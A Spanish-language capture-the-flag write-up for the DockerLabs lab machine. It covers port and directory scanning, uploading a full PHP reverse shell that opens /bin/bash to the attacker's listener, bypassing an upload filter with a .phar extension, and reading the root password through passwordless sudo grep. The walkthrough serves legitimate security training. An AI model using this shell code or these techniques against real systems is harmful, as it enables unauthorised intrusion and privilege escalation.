> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/dockerlabs-write-up.md).

# DockerLabs write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/eHQRE4GKI97z6Gp9pHZJ" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/RKxDzvdqhvHoz21KDTNF" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:

<figure><img src="/files/oBZXH9fzzTfgTAPqvFms" alt=""><figcaption></figcaption></figure>

Como no encontramos nada interesante vamos a usar la herramienta llamada **Gobuster** para encontrar rutas y archivos ocultos con el siguiente comando:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py 
```

<figure><img src="/files/e7tX0aE2ImrEuBTXtkE4" alt=""><figcaption></figcaption></figure>

Esto nos muestra la ruta `http://172.17.0.2/machine.php`, así que ingresamos la dirección en el navegador y observamos lo siguiente:

<figure><img src="/files/CKpI1CStYoAT0mujkWBo" alt=""><figcaption></figcaption></figure>

Contemplamos que podemos subir archivos así que vamos a subir un archivo malicioso en PHP que al ejecutarse nos envíe un shell interactiva. El archivo contendrá el siguiente código:

```bash
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>        
```

Ahora lo intentamos subir y nos muestra lo siguiente:

<figure><img src="/files/VjHbvJhqnsLD87ttF4Jj" alt=""><figcaption></figcaption></figure>

Como no nos deja subir el archivo con extensión PHP. vamos a probar ahora si nos permite subir el archivo malicioso con extensión PHAR.

<figure><img src="/files/Ck4AAImPBuXTQZMi1wg6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3tsd5eUOyKrX3xaEWiNI" alt=""><figcaption></figcaption></figure>

Vemos que ahora si nos permitió subir el archivo malicioso, así que ahora nos ponemos en escucha con **netcat** por el puerto que hayamos configurado en el código malicioso:

```bash
sudo nc -nlvvp 444
```

Y ahora ejecutamos el archivo ingresando la dirección `http://172.17.0.2/uploads/shell.phar`.

<figure><img src="/files/EpEUS7q5o9HEHWu6BwSh" alt=""><figcaption></figcaption></figure>

Y ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez estamos dentro de la máquina víctima, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar los binarios `/usr/bin/cut` y `/usr/bin/grep` como el usuario root sin necesidad de contraseña.

<figure><img src="/files/ymATvrbNVA4x5SMLLA6L" alt=""><figcaption></figcaption></figure>

Ahora buscando por archivos con extensión TXT nos encontramos con la siguiente nota:

```bash
find / -name "*.txt" 2>/dev/null
```

<figure><img src="/files/lNHSfyOh3b3LTI0dJ87o" alt=""><figcaption></figcaption></figure>

Si imprimimos el contenido de la nota vemos lo siguiente:

<figure><img src="/files/TDr0Q2nKbPLyuyhHOqNN" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a utilizar el binario `/usr/bin/grep` para imprimir la contraseña por la terminal con el siguiente comando:

```bash
 sudo /usr/bin/grep "" /root/clave.txt
```

<figure><img src="/files/mRaKaFVK9v4nN6dFG5hl" alt=""><figcaption></figcaption></figure>

Esto nos indica la contraseña del usuario root es `dockerlabsmolamogollon123`, así que ya podríamos iniciar sesión como root.

<figure><img src="/files/hNZGfbGx5f6501rdXMgp" alt=""><figcaption></figcaption></figure>
